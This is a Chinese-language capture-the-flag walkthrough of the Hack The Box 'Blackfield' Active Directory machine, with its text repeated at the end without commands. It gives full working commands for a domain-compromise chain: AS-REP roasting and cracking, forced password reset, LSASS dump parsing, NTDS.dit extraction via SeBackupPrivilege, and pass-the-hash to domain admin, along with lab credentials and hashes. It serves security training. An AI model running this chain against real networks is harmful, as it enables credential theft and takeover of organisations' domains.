AD-Blackfield详解
字数 1730 2025-08-11 21:26:12

Blackfield域渗透靶机详细教学文档

0x00 靶机概述

Blackfield是Hack The Box平台上的一个Active Directory 101系列靶机,难度为困难级别。本靶机展示了多种域渗透技术,包括:

  • SMB共享枚举
  • Kerberos用户枚举
  • AS-REP Roasting攻击
  • Bloodhound信息收集
  • ForceChangePassword权限滥用
  • LSASS内存转储分析
  • SeBackupPrivilege权限滥用
  • NTDS.dit提取与破解
  • Pass-the-Hash攻击

0x01 初始信息收集

端口扫描

使用nmap进行初始扫描:

nmap -sV -sC 10.10.10.192

关键开放端口:

  • 53/tcp - DNS服务
  • 88/tcp - Kerberos服务
  • 135/tcp - MSRPC
  • 139/tcp - NetBIOS
  • 389/tcp - LDAP
  • 445/tcp - SMB
  • 593/tcp - RPC over HTTP
  • 3268/tcp - 全局目录LDAP

DNS枚举

尝试AXFR区域传输:

dig axfr blackfield.local@10.10.10.192

(失败,现代AD通常禁用此功能)

Kerberos枚举

使用kerbrute进行用户枚举:

kerbrute userenum --dc 10.10.10.192 -d blackfield.local /usr/share/seclists/Usernames/top-usernames-shortlist.txt

0x02 SMB共享枚举

使用crackmapexec和smbmap

crackmapexec smb 10.10.10.192 -u "" -p "" --shares
smbmap -u guess -H 10.10.10.192

发现两个非默认共享:

  • forensic (初始无法访问)
  • profiles$ (可匿名访问)

提取潜在用户名

访问profiles$共享并提取用户名:

smbclient -U guest //10.10.10.192/profiles\$ -c ls | awk '{print $1}'|sort|uniq > users.txt

验证有效用户

使用kerbrute验证提取的用户名:

kerbrute userenum --dc 10.10.10.192 -d blackfield.local users.txt

发现三个有效用户:

  • support
  • audit2020
  • svc_backup

0x03 AS-REP Roasting攻击

查找无需预认证的用户

GetNPUsers.py -no-pass -dc-ip 10.10.10.192 blackfield.local/ -usersfile valid_users.txt

发现support用户未设置Kerberos预认证,获取其AS-REP哈希。

破解哈希

保存哈希到文件并使用hashcat破解:

hashcat -m 18200 supporthash /root/rockyou.txt --force

成功获取明文密码:#00^BlackKnight

0x04 Bloodhound信息收集

使用Bloodhound收集域信息:

python bloodhound.py -c all -u support -p '#00^BlackKnight' -d blackfield.local -ns 10.10.10.192

关键发现:

  • support用户有权修改audit2020用户的密码

0x05 ForceChangePassword权限滥用

修改audit2020用户密码

使用rpcclient:

rpcclient -U support //10.10.10.192
rpcclient $> setuserinfo2 audit2020 23 'ncxw1234#'

验证新凭据

crackmapexec smb 10.10.10.192 -u audit2020 -p 'ncxw1234#'

访问forensic共享

smbmap -H 10.10.10.192 -u audit2020 -p 'ncxw1234#'
smbclient -U audit2020%'ncxw1234#' //10.10.10.192/forensic

发现关键文件:

  • domain_admins.txt (包含疑似管理员密码)
  • lsass.zip (LSASS内存转储)

0x06 LSASS内存转储分析

使用pypykatz提取凭据

pypykatz lsa minidump lsass.DMP

提取到svc_backup用户的NTLM哈希:
9658d1d1dcd9250115e2205d9f48400d

0x07 SeBackupPrivilege权限滥用

验证权限

whoami /priv

确认拥有SeBackupPrivilege权限

创建NTDS.dit卷影副本

  1. 创建script.txt文件:
set context persistent nowriters
add volume c: alias someAlias
create
expose %someAlias% w:
  1. 执行diskshadow:
diskshadow /s script.txt
  1. 上传必要DLL文件:
upload SeBackupPrivilegeCmdLets.dll
upload SeBackupPrivilegeUtils.dll
  1. 复制NTDS.dit和SYSTEM hive:
Copy-FileSeBackupPrivilege w:\windows\NTDS\ntds.dit ntds.dit -Overwrite
reg save HKLM\SYSTEM system.hive
  1. 下载文件到本地:
download ntds.dit
download system.hive

提取域哈希

使用secretsdump.py:

secretsdump.py LOCAL -system system.hive -ntds ntds.dit -outputfile secretsdump.out

获取管理员NTLM哈希:
aad3b435b51404eeaad3b435b51404ee:184fb5e5178480be64824d4cd53b99ee

0x08 Pass-the-Hash攻击

使用wmiexec.py进行哈希传递:

wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:184fb5e5178480be64824d4cd53b99ee blackfield.LOCAL/administrator@10.10.10.192

成功获取域管理员权限。

0x09 技术总结

  1. 初始枚举:通过SMB共享获取潜在用户名列表
  2. 用户验证:使用kerbrute验证有效用户
  3. AS-REP Roasting:利用未设置预认证的账户获取哈希并破解
  4. 权限滥用:利用support用户修改audit2020密码
  5. 信息收集:通过forensic共享获取LSASS转储
  6. 凭据提取:从LSASS转储获取svc_backup哈希
  7. 特权提升:利用SeBackupPrivilege获取NTDS.dit
  8. 域哈希提取:从NTDS.dit提取所有用户哈希
  9. 最终控制:通过哈希传递获取域管理员权限

0x0A 参考资源

  1. 重置AD用户密码
  2. MS-SAMR协议文档
  3. SeBackupPrivilege工具
  4. Impacket工具集
Blackfield域渗透靶机详细教学文档 0x00 靶机概述 Blackfield是Hack The Box平台上的一个Active Directory 101系列靶机,难度为困难级别。本靶机展示了多种域渗透技术,包括: SMB共享枚举 Kerberos用户枚举 AS-REP Roasting攻击 Bloodhound信息收集 ForceChangePassword权限滥用 LSASS内存转储分析 SeBackupPrivilege权限滥用 NTDS.dit提取与破解 Pass-the-Hash攻击 0x01 初始信息收集 端口扫描 使用nmap进行初始扫描: 关键开放端口: 53/tcp - DNS服务 88/tcp - Kerberos服务 135/tcp - MSRPC 139/tcp - NetBIOS 389/tcp - LDAP 445/tcp - SMB 593/tcp - RPC over HTTP 3268/tcp - 全局目录LDAP DNS枚举 尝试AXFR区域传输: (失败,现代AD通常禁用此功能) Kerberos枚举 使用kerbrute进行用户枚举: 0x02 SMB共享枚举 使用crackmapexec和smbmap 发现两个非默认共享: forensic (初始无法访问) profiles$ (可匿名访问) 提取潜在用户名 访问profiles$共享并提取用户名: 验证有效用户 使用kerbrute验证提取的用户名: 发现三个有效用户: support audit2020 svc_ backup 0x03 AS-REP Roasting攻击 查找无需预认证的用户 发现support用户未设置Kerberos预认证,获取其AS-REP哈希。 破解哈希 保存哈希到文件并使用hashcat破解: 成功获取明文密码: #00^BlackKnight 0x04 Bloodhound信息收集 使用Bloodhound收集域信息: 关键发现: support用户有权修改audit2020用户的密码 0x05 ForceChangePassword权限滥用 修改audit2020用户密码 使用rpcclient: 验证新凭据 访问forensic共享 发现关键文件: domain_ admins.txt (包含疑似管理员密码) lsass.zip (LSASS内存转储) 0x06 LSASS内存转储分析 使用pypykatz提取凭据 提取到svc_ backup用户的NTLM哈希: 9658d1d1dcd9250115e2205d9f48400d 0x07 SeBackupPrivilege权限滥用 验证权限 确认拥有SeBackupPrivilege权限 创建NTDS.dit卷影副本 创建script.txt文件: 执行diskshadow: 上传必要DLL文件: 复制NTDS.dit和SYSTEM hive: 下载文件到本地: 提取域哈希 使用secretsdump.py: 获取管理员NTLM哈希: aad3b435b51404eeaad3b435b51404ee:184fb5e5178480be64824d4cd53b99ee 0x08 Pass-the-Hash攻击 使用wmiexec.py进行哈希传递: 成功获取域管理员权限。 0x09 技术总结 初始枚举 :通过SMB共享获取潜在用户名列表 用户验证 :使用kerbrute验证有效用户 AS-REP Roasting :利用未设置预认证的账户获取哈希并破解 权限滥用 :利用support用户修改audit2020密码 信息收集 :通过forensic共享获取LSASS转储 凭据提取 :从LSASS转储获取svc_ backup哈希 特权提升 :利用SeBackupPrivilege获取NTDS.dit 域哈希提取 :从NTDS.dit提取所有用户哈希 最终控制 :通过哈希传递获取域管理员权限 0x0A 参考资源 重置AD用户密码 MS-SAMR协议文档 SeBackupPrivilege工具 Impacket工具集